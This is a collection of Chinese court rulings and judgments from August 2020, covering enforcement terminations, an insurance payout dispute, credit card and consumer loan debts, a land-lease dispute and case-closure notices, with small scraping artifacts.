贵州省贵阳市中级人民法院执 行 裁 定 书（2020）黔01执346号之一申请执行人：贵阳矿业开发投资股份有限公司，住所地贵州省贵阳市云岩区银海元隆广场第********。法定代表人：肖宪国，该公司董事长。被执行人：遵义市瑞华房地产开发有限责任公司，住，住所地贵州省遵义市播州区龙坑镇遵义大道中段西侧贵欣园）。法定代表人：张静，该公司总经理。本院依据已经发生效力的贵阳仲裁委员会作出的（2018）贵仲调字第077号调解书，依法受理了贵阳矿业开发投资股份有限公司申请执行遵义市瑞华房地产开发有限责任公司委托担保合同纠纷一案。执行内容为：人民币51945824.95元及资金占用费（按年利率7.5%从2017年1月1日起计算至还清之日止。）、仲裁费186610元、负担本案执行费等。审理过程中，申请执行人贵阳矿业开发投资股份有限公司申请对被执行人遵义市瑞华房地产开发有限责任公司名下的成套住宅319套、商业用房11套、车库81个进行保全查封，遵义市播州区人民法院以（2017）黔0321财保31号对上述财产进行查封，但经本院核实，属于轮候查封法院，亦无抵押，故无法对其进行处置，本案申请执行人知悉上述情况。在执行过程中，本院于2020年4月9日通过司法专邮形式向被执行人邮寄送达执行通知书、报告财产令、财产申报表，但被执行人未履行生效法律文书确定的义务。本院于2020年4月3日经全国法院网络执行查控系统、执行司法查控系统、不动产权部门查控系统查询，未发现被执行人名下有可供执行的财产。在本案执行过程中，本院依法调查被执行人的银行账户，并未查到被执行人银行账户有可供执行的财产，我院对上述账户予以冻结。2020年8月9日，本院通过委托调查、电话联系、实地走访等形式对被执行人的财产状况、线索进行调查和了解，并未能查询到被执行人名下有可供执行的财产。2020年8月10日，本院依职权对被执行人作出限制消费令。上述执行情况、财产调查措施、被执行人财产情况及信息，本院于2020年8月6日告知了申请执行人，要求其提供财产线索，其表示不能提供被执行人可供执行的财产线索。本院于2020年6月5日再次对被执行人进行不动产、证券、股份、车辆、银行等网络查询，仍未有可供执行财产线索。综上所述，因本案被执行人确无财产可供执行，本院于2020年8月7日依法对申请执行人进行了终本告知，向其释明被执行人的财产情况，终结本次执行程序的法律依据和法律后果，询问其是否向本院申请律师调查令、是否需要申请发布悬赏公告，通过悬赏征集被执行人的财产线索、是否需要对被执行人进行审计，查实财产情况、是否需要对失信被执行人提起拒不执行判决裁定罪的自诉，申请人明确表示不需要采取以上措施，提供不出被执行人的财产或财产线索，并告知本案终结本次执行程序，若发现被执行人有可供执行的财产线索，再恢复执行。本院认为，因本案各被执行人均无可供执行的财产，申请执行人亦不能提供被执行人可供执行的财产线索，故本案应当终结本次执行程序。据此，依据《最高人民法院关于适用〈中华人民共和国民事诉讼法〉的解释》第五百一十九条之规定，裁定如下：终结本院（2020）黔01执346号案件的本次执行程序。终结本次执行程序后，申请执行人发现被执行人有可供执行财产的，可以向执行法院申请恢复执行。申请恢复执行不受申请执行时效期间的限制。被执行人遵义市瑞华房地产开发有限责任公司应依据贵阳仲裁委员会作出的（2018）贵仲调字第077号调解书向申请执行人贵阳矿业开发投资股份有限公司继续履行。本裁定送达后立即生效。不服本裁定的，可在收到本裁定之日起六十日内，依照《中华人民共和国民事诉讼法》第二百二十五条向本院提出执行异议。审判长 王 琳审判员 张 荃审判员 衷进全二〇二〇年八月十日法官助理张洪书记员王央敏
江苏省南京市秦淮区人民法院民 事 判 决 书(2020)苏0104民初4629号原告：南京市建邺区云容机械设备租赁服务中心，住所地南京市建邺区云锦路******。经营者：杨开秀。委托诉讼代理人：陈明霞。被告：中国太平洋财产保险股份有限公司南京分公司，住所，住所地南京市秦淮区龙蟠中路**div>代表人：鲍康，总经理。委托诉讼代理人：闫超贺，男，住南京市秦淮区龙蟠中路**。原告南京市建邺区云容机械设备租赁服务中心（以下简称云容设备租赁中心）与被告中国太平洋财产保险股份有限公司南京分公司（以下简称太平洋财险南京分公司）财产保险合同纠纷一案，本院于2020年6月8日立案后，依法适用小额诉讼程序，公开开庭进行了审理。原告云容设备租赁中心的委托诉讼代理人陈明霞，被告太平洋财险南京分公司的委托诉讼代理人闫超贺到庭参加诉讼。本案现已审理终结。原告云容设备租赁中心向本院提出诉讼请求：判令被告赔偿原告车辆修理费29000元、公估费1450元并承担本案诉讼费用。事实和理由：2017年11月4日18时30分许，何晓峰驾驶苏Ａ×××**小型越野客车行驶至来发县开发区九州公司院内倒车时，撞到栏杆上，造成苏Ａ×××**车辆损坏的交通事故。经来安县公安局交通管理大队出具道路交通事故认定书，认定何晓峰负事故全部责任。苏Ａ×××**车辆在被告处投保商业车损险并附加不计免赔险。2017年12月9日原告委托江苏方正保险公估有限公司对该车辆损失进行公估，确定车辆损失为29000元，并支付1450元公估费。后因双方对车损理赔未能达成一致，原告为维护自身合法权益，特诉至法院。被告太平洋财险南京分公司辩称，原告在被告处投保机动车损失险、事故发生在保险期限内。对于案涉事故发生的事实不持异议。原告主张损失金额过高，其车辆在维修前未通知被告进行相应的定损拆检，对于公估报告载明的车损金额不予认可。根据保单记载，车辆在投保时指定的索赔权益人为杨开秀，且第一受益人为中国工商银行杭州支行。原告的主体不适格。请求法院依法判决。本院经审查对案件事实认定如下：2017年7月18日，原告为其名下车辆号码为苏Ａ×××**的小型越野客车向被告投保保险金额为314018元的机动车损失险（含不计免赔），保险期间自2017年4月16日零时起至2018年4月16日24时止（查询）。被保险人为原告，索赔权益人为原告的经营者杨开秀，第一受益人为中国工商银行股份有限公司杭州艮山支行。机动车损失保险保险责任条款约定：保险期间内，被保险人或其允许的驾驶人在使用被保险机动车过程中，因下列原因造成被保险机动车的直接损失，且不属于免除保险人责任的范围，保险人依照本保险合同的约定负责赔偿：（一）碰撞、倾覆、坠落……；发生保险事故时，被保险人或其允许的驾驶人应当及时采取合理的、必要的施救和保护措施，防止或者减少损失，并在保险事故发生后48小时内通知保险人；因保险事故损坏的被保险机动车，应当尽量修复，修复前被保险人应当会同保险人检验、协商确定修理项目、方式和费用，对未协商确定的，保险人可以重新核定；保险人收到被保险人的赔偿请求后，应当及时做出核定，情形复杂的，应当在三十日内作出核定，保险人应当将核定结果通知被保险人，对属于保险责任的，在与被保险人达成赔偿协议后十日内履行赔偿义务；保险人未及时履行前款约定义务的，除支付赔款外，应当赔偿被保险人因此受到的损失；保险人自收到赔偿请求和有关证明、资料之日起六十日内，对其赔偿数额不能确定的，应当根据已有证明和资料可以确定的数额先予支持，保险人最终确定赔偿数额后应当支付相应的差额。2017年11月4日18时30分许，案外人何晓峰驾驶苏Ａ×××**车辆在安徽省来安县开发区九州公司院内倒车时，撞到栏杆，造成苏Ａ×××**车辆损坏的交通事故。经来安县公安局交通管理大队认定，何晓峰负事故全部责任。原告于事故发生后向被告报案，被告随即出险。双方对于车辆定损金额未能协商一致，被告未向原告出具定损单。原告遂于2017年11月9日委托江苏方正保险公估有限公司对苏Ａ×××**车辆损失进行评估，江苏方正保险公估有限公司于2017年11月28日作出公估报告书，载明采用修复费用成本法核定损失，标的更换项目配件价格参照江苏省维修市场原厂件销售价格，工时费用参照江苏省维修行业惯性标准，损失评估金额为29218元，扣除残值金额218元，最终核定实际损失金额为29000元。原告为此支出公估费1450元。原告将苏Ａ×××**车辆送至南京市玄武区兴缘轩汽车维修服务中心进行维修，支出维修费29000元。诉讼过程中，杨开秀出具《权益转让书》，将案涉交通事故产生的法律诉讼权益与诉讼所得转让给原告。另查明，中国工商银行股份有限公司杭州艮山支行于2020年5月14日出具《购车分期付款结清证明》，证明苏Ａ×××**车辆的购车分期付款业务已结清。本院认为，依法成立的合同受法律保护。原、被告签订的保险合同系双方当事人的真实意思表示，且内容不违反法律、行政法规的强制性规定，应当认定为合法有效，双方均应全面履行合同约定的义务。原告作为苏Ａ×××**车辆的投保人及被保险人，在保险事故发生并取得索赔权益人转让的诉讼相关权益后，有权向被告申请赔偿保险金，被告则应按保险合同的约定在保险责任范围内承担赔偿责任。根据道路交通事故认定书的记载，何晓峰驾车在保险期间内发生交通事故，致车辆损坏，应属保险责任范围，被告应对苏Ａ×××**车辆因事故所受损失在机动车损失险范围内承担赔偿责任。苏Ａ×××**车辆经江苏方正保险公估有限公司评估，确定损失金额为29000元，本院予以确认。被告提出评估报告确定的车辆损失金额过高且系原告单方委托，对此本院认为，首先，被告未提供证据证明其在保险合同约定的期限内核定车辆损失并通知原告，因此原告有权委托第三方进行评估鉴定；其次，江苏方正保险公估有限公司作出的评估报告系第三方作出的鉴定结论，被告在本案审理过程中未提供证据证明江苏方正保险公估有限公司在评估过程中存在鉴定机构或鉴定人员不具备相关鉴定资格、鉴定程序严重违法、鉴定结论明显依据不足等情形，且被告未能提供足以推翻上述评估报告的证据，在本案诉讼过程中，被告亦未向本院申请评估、鉴定人员出庭接受质询，故被告的该项的抗辩事由无事实及法律依据，本院不予采纳。原告支出车辆维修费用29000元，其向本院提交的车辆维修结算清单及维修费发票相互印证，可以证明车辆修理的项目及金额，本院对此予以确认。原告支出的公估费1450元系其为查明被保险机动车的损失程度所支出的合理费用，亦应由被告在机动车损失险范围内进行赔偿。综上，被告应向原告赔偿30450元（29000元＋1450元）。依照《中华人民共和国合同法》第八条、第四十四条第一款、第六十条第一款，《中华人民共和国保险法》第十条、第十三条第一款、第十四条、第二十三条第一款，《中华人民共和国民事诉讼法》第六十四条第一款、第一百四十二条、第一百六十二条之规定，判决如下：被告中国太平洋财产保险股份有限公司南京分公司于本判决发生法律效力之日起十日内赔偿原告南京市建邺区云容机械设备租赁服务中心30450元。如果未按本判决指定的期间履行给付金钱义务，应当按照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。案件受理费减半收取为281元，由被告中国太平洋财产保险股份有限公司南京分公司负担。本判决为终审判决。审 判 员  王 芃二〇二〇年八月二十日见习书记员  董媛媛
浙江省杭州市中级人民法院 执 行 裁 定 书 （2020）浙01执恢58号 申请执行人浙江创牌控股有限公司，住所地杭州市西湖区三墩镇振中路****楼厂房**，组织机构代码:670639786。 法定代表人叶明。 被执行人杭州昆仑东城房地产开发有限公司，住，住所地杭州市江干区临丁路******织机构代码:697079248。 法定代表人林洁。 本院在执行浙江创牌控股有限公司与杭州昆仑东城房地产开发有限公司买卖合同纠纷一案中，因申请执行人浙江创牌控股有限公司向本院申请撤回执行申请，本院依照《中华人民共和国民事诉讼法》第二百五十七条第（六）项之规定，裁定如下： 终结（2019）浙01执1086号案件的执行。 本裁定送达后立即生效。 执行员  汪园园 二〇二〇年八月十日 书记员  陈一凯
浙江省天台县人民法院 执 行 裁 定 书 （2020）浙1023执754号之一 申请执行人深圳融信保非融资性担保有限公司，住所地深圳市前海深港合作区前湾一路******（入驻深圳市前海商务秘书有限公司），组织机构代码:349983118。 法定代表人刘高峰。 被执行人赵云，男，1985年1月17日出生，住浙江省天台县。 申请执行人深圳融信保非融资性担保有限公司与被执行人赵云商事仲裁执行一案，依据相关裁决书，被执行人赵云应归还申请人深圳融信保非融资性担保有限公司借款10410.36元及相应利息，负担案件执行费56.16元，但被执行人赵云未履行生效法律文书确定的义务。 本院立案执行后，依法于2020年3月23日向被执行人赵云发出执行通知书、财产报告令，责令其限期履行生效法律文书确定的义务，逾期未履行的应当限期如实报告当前以及之前一年的财产情况。但被执行人赵云既逾期未履行，也未报告财产情况，本院依法对其作出罚款1000元、拘留15日的决定，并发出限制消费令，列入失信被执行人名单。 在执行过程中，申请执行人深圳融信保非融资性担保有限公司未向本院提供被执行人可供执行的财产线索。本院依职权查询被执行人赵云的银行存款、房产、车辆、股权等财产状况并核实财产线索，被执行人赵云有银行开户，本院已依法冻结扣划，扣除法院费用后发放给申请人3358.14元，其余账户存款余额仅为少量，暂不宜扣划。 除上述财产外，本院未查询到被执行人有其他可供执行的财产。2020年4月22日，本院到被执行人赵云住所地实地调查，也未发现有可供执行的财产。本院穷尽财产调查措施后，申请执行人深圳融信保非融资性担保有限公司的涉案债权已实现3358.14元，剩余部分暂未能实现。 2020年8月18日，本院将案件执行情况、采取的财产调查措施、被执行人的财产情况终结本次执行程序依据及法律后果等信息告知申请执行人深圳融信保非融资性担保有限公司，听取其对终结本次执行程序的意见。 上述事实，有执行通知书、财产报告令、调查材料回执、执行裁定、执行回告笔录等证据在卷证实。 本院认为，经穷尽调查措施后，未发现被执行人赵云目前有财产可供执行，应终结本次执行程序。依照《最高人民法院关于适用的解释》第五百一十九条的规定，裁定如下： 终结本院（2020）浙1023执754号案的本次执行程序。 申请执行人发现被执行人赵云有其他可供执行的财产，可以恢复申请执行，再次申请恢复执行不受期限限制。被执行人负有继续向申请执行人履行债务的义务。 本裁定送达后立即生效。 审 判 长  王 卫 审 判 员  王其委 审 判 员  忻鹏宇 二〇二〇年八月十八日 代书记员  余 斌
广西壮族自治区博白县人民法院 民 事 裁 定 书 （2020）桂0923民初577号 原告：邹世玲，女，1984年9月13日出生，汉族，住广西博白县。 委托诉讼代理人：邹裕宾（系原告父亲），男，1962年1月2日出生，汉族，住广西博白县。 被告：黄英文，男，1991年9月9日出生，汉族，住广西博白县。 被告：黄英胜，男，1987年11月19日出生，汉族，住广西博白县。 原告邹世玲诉被告黄英文、黄英胜民间借贷纠纷一案，本院于2020年3月18日立案。原告于2020年8月12日向本院提出撤诉申请。 本院认为，原告的申请不违反法律规定。依照《中华人民共和国民事诉讼法》第一百四十五条第一款规定，裁定如下： 准许原告邹世玲撤诉。 案件受理费1550元，减半收取计775元，由原告负担。 审 判 长  冯 翔 人民陪审员  阮家文 人民陪审员  冯光文 二〇二〇年八月十七日 法官 助理  窦剑锋 书 记 员  周 娟 适用法律条文： 《中华人民共和国民事诉讼法》 第一百四十五条宣判前，原告申请撤诉的，是否准许，由人民法院裁定。 人民法院裁定不准许撤诉的，原告经传票传唤，无正当理由拒不到庭的，可以缺席判决。
安徽省东至县人民法院民 事 裁 定 书（2020）皖1721民初1921号原告：安徽东至农村商业银行股份有限公司，住所地东至县尧渡镇建设路**，机构代码：913417000852359325。法定代表人：戴正球,该公司董事长。委托诉讼代理人：胡炎男，该公司职工。被告：陈宏吉，男，1956年8月25日出生，汉族，住东至县。原告安徽东至农村商业银行股份有限公司与被告陈宏吉金融借款合同纠纷一案，本院于2020年8月1日立案，原告在本院依法送达交纳诉讼费用通知后，未在七日内预交案件受理费。依照《中华人民共和国民事诉讼法》第一百一十八条、第一百五十四条第一款第十一项、《最高人民法院关于适用〈中华人民共和国民事诉讼法〉的解释第二百一十三条之规定，裁定如下：本案按安徽东至农村商业银行股份有限公司撤回起诉处理。审判员  王尚洲二〇二〇年八月八日书记员  高梦丹
山东省菏泽市牡丹区人民法院民 事 判 决 书（2020）鲁1702民初3329号原告：郅天村，男，1961年3月18日出生，汉族，农民，住山东省菏泽市牡丹区。原告：孙景兰，女，1956年9月18日出生，汉族，农民，住山东省菏泽市牡丹区。原告：郅海民，男，1983年3月14日出生，汉族，农民，住山东省菏泽市牡丹区。原告：郅某，女，2006年6月6日出生，汉族，农民，住山东省菏泽市牡丹区。委托诉讼代理人（代理以上四原告）：李存杰，山东雅敏律师事务所律师。被告：郅兴光，男，1960年7月11日出生，汉族，农民，住山东省菏泽市牡丹区。被告：张美英，女，1966年8月7日出生，汉族，农民，住山东省菏泽市牡丹区。被告：方中见，男，成年，汉族，农民，住山东省菏泽市牡丹区。委托诉讼代理人（代理以上三被告）：孟德全，北京市京师（聊城）律师事务所律师。原告郅天村、孙景兰、郅海民、郅某与被告郅兴光、张美英、方中见土地租赁合同纠纷一案，本院于2020年7月2日立案后，依法适用简易程序，公开开庭进行了审理。原告郅天村、孙景兰、郅海民、郅某的共同委托诉讼代理人李存杰，被告郅兴光、方中见及被告的共同委托诉讼代理人孟德全到庭参加了诉讼，本案现已审理终结。郅天村、鲍卢娟、郅开心、郅金娥、郅玉刚向本院提出诉讼请求：1、请求依法判令解除原、被告租赁关系，并由被告返还涉案土地；2、涉诉费用由被告依法承担。事实和理由：涉案土地系原告耕地，曾被郅兴光、张美英租赁，后被告多次未按照约定支付租金，并且拒绝返还涉案土地。原告多次找三被告沟通，但被告均置之不理。现为维护我的合法权益，特依法向贵院提起诉讼，望判如所请。郅兴光、张美英辩称，自1999年12月9日我与原告郅天村签订租赁协议，我租赁了郅天村的土地，但到2012年原告郅天村要求置换土地，所以我使用的土地是通过互换方式获取的，属于土地承包经营权的转移，不存在欠付租赁费问题，请求驳回原告的诉讼请求。方中见辩称，我与原告没有合同关系，我所承包的土地是郅兴光的土地，请求驳回原告的诉讼请求。本院经审理认定事实如下：被告郅兴光自1999年开始租赁原告郅天村的土地，直至2012年原告郅天村、被告郅兴光就各自适用的案涉土地进行了互换。本院认为：1、关于自2012年之后原告郅天村、被告郅兴光有关案涉土地的关系认定的问题，依据《最高人民法院关于适用〈中华人民共和国民事诉讼法〉的解释》第一百零八条规定:“对负有举证证明责任的当事人提供的证据,人民法院经审查并结合相关事实,确信待证事实的存在具有高度可能性的,应当认定该事实存在。对一方当事人为反驳负有举证证明责任的当事人所主张事实而提供的证据,人民法院经审查并结合相关事实,认为待证事实真伪不明的,应当认定该事实不存在。”虽原、被告均未为自己的主张提交书面协议，但结合本院对菏泽市牡丹区高庄镇郅庄村民委员会负责人尹守国的调查笔录及郅富强签署的流转承包地书面同意书、被告方中见的陈述等证据，原告郅天村与被告郅兴光土地互换的事实存在高度可能性,应当认定该事实存在。2、有关原告诉讼请求的问题。依据《中华人民共和国民事诉讼法》第一百一十九条规定：“起诉必须符合下列条件：（一）原告是与本案有直接利害关系的公民、法人和其他组织；（二）有明确的被告；（三）有具体的诉讼请求和事实、理由；（四）属于人民法院受理民事诉讼的范围和受诉人民法院管辖。”本案原告请求依法判令解除原、被告租赁关系，并由被告返还涉案土地。经审查，本案原告郅天村与被告郅兴光之间的是事实上的互换关系而非租赁关系，故原告的诉讼请求所依据的事实证据与本院查证事实不符，对原告的该诉讼请求，本院不予支持。依据《中华人民共和国民法总则》第一百七十六条、《最高人民法院关于适用〈中华人民共和国民事诉讼法〉的解释》第一百零八条、《最高人民法院关于民事诉讼证据的若干规定》第五十三条、《中华人民共和国民事诉讼法》第六十四条第一款、第一百一十九条、第一百三十四条之规定，判决如下：一、驳回原告郅天村、孙景兰、郅海民、郅某的诉讼请求。案件受理费100元，减半收取50元，由原告郅天村、孙景兰、郅海民、郅某负担。如不服本判决，可于判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数提出副本，上诉于山东省菏泽市中级人民法院。审判长  徐进升二〇二〇年八月三日法官助理宋丰书记员刘子元
仁怀市人民法院结 案 通 知 书关于申请人陈本华申请执行贵州省仁怀市茅台镇贵乡酒业有限公司建设工程施工合同纠纷一案，案号（2019）黔0382执3421号，执行标的：工程款900,898.20元、损失补偿费146,000.00元、诉讼费14,822.00元、案件执行费13,017.00元，合计1,061,720.20元，2020年8月4日被执行人与申请执行人达成和解长期履行协议，本案终结执行。特此通知！二〇二〇年八月五日仁怀市人民法院
江西省德安县人民法院民 事 判 决 书（2020）赣0426民初634号原告：中国农业银行股份有限公司德安县支行，住所地德安县蒲亭镇石桥路**，统一社会信用代码91360426859660669R。负责人：王竹青，该行行长。委托诉讼代理人：田文萍，女，1968年9月7日出生，汉族，系该行员工，住德安县。被告：余小兵，男，1980年10月3日出生，汉族，住九江市。原告中国农业银行股份有限公司德安县支行与被告余小兵信用卡纠纷一案，本院于2020年8月10日立案后，依法适用简易程序，公开开庭进行了审理。原告中国农业银行股份有限公司德安县支行委托诉讼代理人田文萍到庭参加诉讼，被告余小兵经本院合法传唤无正当理由拒不到庭。本案现已审理终结。原告中国农业银行股份有限公司德安县支行向本院提出诉讼请求：1、责令被告及时归还信用卡本金5966.65元；2、责令被告偿还利息392.92元和逾期还款违约金327.65元、消费手续费84元（截至2020年6月13日），以及此卡后续产生的利息（后续产生的利息另行计算）、逾期还款违约金及相关费用；3、责令被告承担本案诉讼费、执行费、保全费、代理费等一切费用；事实和理由：2019年3月18日，原告经被告申请为被告办理了一张额度为10000元的金穗贷记卡。后被告持卡使用后不按时还款，原告已通过电话方式进行催收，但被告至今未归还全部欠款。被告余小兵未作答辩。经审理查明，2019年3月18日，被告余小兵向原告申请办理金穗贷记卡，并在申请表上签名确认已阅读和了解全部申请材料，愿意遵守《中国农业银行金穗信用卡领用合约（个人卡）》的各项规则。后原告为被告成功申请了信用卡（额度为10000元）一张。被告持卡后多次使用该卡消费。从2019年12月份开始，被告未按照合同约定时间还款。截至2020年6月13日，被告累计欠信用卡本金5966.65元、利息392.92元、逾期还款违约金327.65元、消费手续费84元。上述事实，有当事人的陈述，原告提供的由被告余小兵填写的申请表，《中国农业银行金穗信用卡领用合约（个人卡）》，持卡人账户信息，庭审笔录等存卷佐证，事实清楚，足以认定。本院认为，原告与被告之间的信用卡合同关系合法有效，被告在使用金穗贷记卡消费后应按约定及时履行还款和付息义务，被告违约应按约定承担相应的违约责任。对原告要求被告偿还透支款本金、利息、逾期还款违约金及相关费用的诉讼请求予以支持。被告余小兵经本院合法传唤未到庭参加诉讼，视为其放弃答辩和质证的权利，不影响本院根据查明的事实依法作出判决。综上所述，依照《中华人民共和国合同法》第六十条、第一百零七条、第一百一十四条第一款、第二百零五条、第二百零六条、第二百零七条,《中华人民共和国民事诉讼法》第一百四十四条之规定，判决如下：被告余小兵于本判决生效之日起十日内偿还原告中国农业银行股份有限公司德安县支行金穗贷记卡透支款本金5966.65元、利息392.92元、逾期还款违约金327.65元、消费手续费84元共计6771.22（截至2020年6月13日）及按领用合约的约定支付自2020年6月14日起至该款还清日止的逾期利息、逾期还款违约金及其他费用。如果未按本判决指定的期间履行给付金钱义务，应当按照《中华人民共和国民事诉讼法》第二百五十三条规定，加倍支付迟延履行期间的债务利息。案件受理费25元（已减半，原告已预交），由被告余小兵负担，于本判决生效之日起十日内直接给付原告。如不服本判决，可在判决书送达之日起十五日内向本院递交上诉状，并按对方当事人的人数提出副本，上诉于九江市中级人民法院。审判员 李 华二〇二〇年八月二十八日书记员 汤小莹
广东省珠海市金湾区人民法院 结 案 通 知 书 （2020）粤0404执2213号 珠海市交通运输局、邢台捷越运输有限公司： 关于珠海市交通运输局与邢台捷越运输有限公司行政非诉执行一案，珠海市交通运输局粤珠交罚〔2019〕05172号《行政处罚决定书》，已发生法律效力。在执行过程中，被执行人已自动履行完毕，本案已执行完毕。 特此通知。 二〇二〇年八月四日
贵州省遵义市汇川区人民法院民 事 裁 定 书（2020）黔0303执保640号申请人：贵州航天实业有限公司，住所：贵州省遵义市汇川区大连路航天大厦**，统一社会信用代码：9152030021440661XM。法定代表人：彭健，职务：董事长。委托诉讼代理人：胡明生，贵州佳信律师事务所律师。委托诉讼代理人：陈丽，贵州佳信律师事务所实习律师。被申请人：遵义锦驰汽车有限公司，，住所：贵州省遵义市汇川区东连线贵州航天高新技术产业园区统一社会信用代码：91520303587270869P。法定代表人：陶柳，职务：执行董事兼总经理。申请人贵州航天实业有限公司与被申请人遵义锦驰汽车有限公司房屋租赁合同纠纷一案，申请人贵州航天实业有限公司于2020年8月18日向本院提出财产保全申请：请求人民法院依法通过网络查控系统查询查封、冻结、扣押被申请人遵义锦驰汽车有限公司名下相当于327082元的财产。并由中国平安财产保险股份有限公司中心支公司提供保单保函作为担保。本院审查认为，申请人的申请符合法律的规定，为使本案顺利执行，依照《中华人民共和国民事诉讼法》第一百零一条、第一百零二条、第一百零三条第一款规定，裁定如下：查封、扣押、冻结被申请人遵义锦驰汽车有限公司名下价值327,082.00元的财产。本裁定立即开始执行。如不服本裁定，可以自收到裁定书之日起五日内向本院申请复议一次。复议期间不停止裁定的执行。审判员  梁娟二〇二〇年八月十九日法官助理韩光凤书记员赵旭
上海市青浦区人民法院民 事 判 决 书（2020）沪0118民初14951号原告：兴业消费金融股份公司，住所地福建省泉州市。法定代表人：郑海清，董事长。委托诉讼代理人：田晖，泰和泰(上海)律师事务所律师。委托诉讼代理人：熊海强，泰和泰(上海)律师事务所律师。被告：董德文，女，1965年2月8日出生，汉族，户籍地江苏省徐州市。被告：马勇，男，1968年12月30日出生，汉族，户籍地江苏省徐州市。原告兴业消费金融股份公司(以下简称“兴业消金”)与被告董德文、马勇金融借款合同纠纷一案，本院于2020年8月3日立案后，依法适用简易程序，公开开庭进行了审理。原告兴业消金委托诉讼代理人熊海强到庭参加诉讼，被告董德文、马勇经本院传票传唤，无正当理由拒不到庭，本院依法缺席审理。本案现已审理终结。原告兴业消金向本院提出诉讼请求：1.判令被告董德文归还贷款本金余额人民币128,097.72元；2.判令被告董德文支付自2020年3月16日起至实际清偿之日止的利息、逾期利息和违约金(以本金128,097.72元为基数，按年利率24%标准计算，扣除被告已付的利息、罚息0.23元)；3.判令被告董德文支付律师费1,000元；4.判令被告马勇承担共同清偿责任。事实和理由：2018年9月20日，被告董德文向原告申请“兴业消费金融股份公司家庭综合消费贷款”，双方为此签订了贷款合同，约定由原告借予被告200,000元整，贷款期限36个月，并由被告马勇签署《共同还款承诺书》同意承担共同连带还款责任。合同签订后，原告依约发放了贷款。但被告董德文自2020年3月发生逾期，虽经原告多次提醒，仍拒不还款。至起诉日，被告董德文尚欠本金128,097.72元及利息、逾期利息等。原告认为，原、被告间签订的合同合法有效，被告拒不还款的行为已构成严重违约，根据合同约定，原告有权要求被告董德文提前清偿贷款本金及利息、逾期利息并支付违约金。因两被告未能按约还本付息，原告诉至法院。被告董德文、马勇未作答辩。本院经审理认定事实如下：2018年9月20日,被告董德文向原告申请“兴业消费金融股份公司家庭综合消费贷款”，双方为此签订了贷款合同。该合同约定：贷款金额200,000元，贷款利率为月利率2.0%，贷款期限36个月，还款日为每月15日；申请人未能按期足额偿还任何到期应付的贷款本息、费用、手续费及其他应付款项时，按利息计收的，应就当期应付未付款项按照同期适用的利率(上浮50%)加付自款项到期日起至申请人实际偿还日止，以实际天数计算的罚息，同时应按逾期次数加付逾期违约金，每次逾期违约金为当期应付未付款项(不含罚息)的1%且不低于20元；如申请人未能完全适当地履行其在本合同项下的任何承诺、保证、义务或责任，即构成申请人违约；申请人发生本合同项下违约时，原告有权要求申请人承担支付罚息、逾期违约金及提前还款违约金等其他责任，同时原告有权选择：随时宣布本合同项下全部或部分债务立即到期；每发生一项违约行为，要求申请人支付本合同项下借款金额的20%作为违约金；每发生一项违约行为，将本合同项下的利率调整为同期适用的利率上浮20%，并立即执行；要求申请人偿还债务并承担原告为实现债权和担保权益而实际发生的费用(包括但不限于诉讼/仲裁费用、律师费用等)；申请人在此不可撤销地授权，申请人的任何义务或责任到期应履行的，原告有权(但无义务)随时从申请人在兴业银行开立的任何账户(不限于指定还款账户)中自行直接让扣划款项用于清偿，扣收不足的部分申请人仍应继续清偿；对于原告在合同项下行使权利而获得的任何款项，应按以下顺序清偿债权：(1)实现债权和担保权益的费用以及申请人应承担的其他费用；(2)损害赔偿金、逾期违约金、提前还款违约金和其他违约金；(3)罚息；(4)服务费；(5)手续费；(6)利息；(7)本金；(8)其他应付款项；原告保留有权单方变更上述清偿顺序的权利，合同项下应还款项与申请人在原告其他贷款业务项下(如有)应还款项均已到期的，其清偿顺序由原告确定。被告马勇签署《共同还款承诺书》，承诺上述贷款申请获原告批准通过并予以发放的，其本人对上述贷款申请获批发放的贷款本金、利息及相关费用承担共同、连带还款责任直至贷款本息及相关费用偿还完毕；若其未履行或未完全履行还款义务，则原告有权根据贷款合同约定将适用于借款人的任何违约救济措施，要求本人同等承担。合同签订后，原告向约定账号发放贷款200,000元。自2020年3月起，被告董德文未能依约足额还本付息。至起诉日，被告尚欠本金128,097.72元及利息、逾期利息等。原告因催讨未果，遂提起诉讼。另查明，原告为本次诉讼，委托泰和泰(上海)律师事务所律师担任诉讼代理人，并支付律师费1,000元。以上事实，有《家庭消费贷款申请表》、《贷款核准确认书》、共同还款承诺书、放款凭证、还款明细、委托代理协议、发票及当事人的陈述等证据为证，本院予以确认。本院认为，原、被告间签订的《家庭消费贷款申请表》、《贷款核准确认书》及《共同还款承诺书》均系各方当事人真实意思的表示，应为合法有效，合同各方均应严格履行。现原告已按约履行了发放贷款的义务，被告董德文理应按约偿还贷款本息，但其逾期未付，已构成违约，原告依约有权提前收贷。故本院对原告要求被告董德文归还尚欠的贷款本金并支付利息、逾期利息、违约金及律师费的主张予以支持。对于原告主张的利息、逾期利息及违约金按照年利率24%计算，该主张亦符合合同的约定和法律规定，本院予以支持。被告马勇签署《共同还款承诺书》，自愿对被告董德文的贷款本金、利息及相关费用承担共同、连带还款责任，故对原告的该项诉请予以支持。两被告经本院合法传唤，无正当理由拒不到庭，系其自愿放弃答辩、质证等诉讼权利的行为，应承担由此而引起的法律后果。据此，依照《中华人民共和国合同法》第六十条第一款、第一百一十四条第一款、第二百零七条及《中华人民共和国民事诉讼法》第一百四十四条之规定，判决如下：一、被告董德文应于本判决生效之日起十日内归还原告兴业消费金融股份公司借款本金128,097.72元；二、被告董德文应于本判决生效之日起十日内支付原告兴业消费金融股份公司自2020年3月16日起至实际清偿之日止的利息、逾期利息和违约金(以本金128,097.72元为基数，按年利率24%标准计算，扣除被告已付的利息、罚息0.23元)；三、被告董德文应于本判决生效之日起十日内支付原告兴业消费金融股份公司律师费1,000元；四、被告马勇对被告董德文上述第一项至第三项还款义务承担共同清偿责任。如果未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。案件受理费2,881.95元，减半收取计1,440.98元，由两被告负担。如不服本判决，可以在判决书送达之日起十五日内，向本院递交上诉状，并按照对方当事人或者代表人的人数提出副本，上诉于上海金融法院。审 判 员 王美芳二〇二〇年八月二十五日法官助理 张佳欢书 记 员 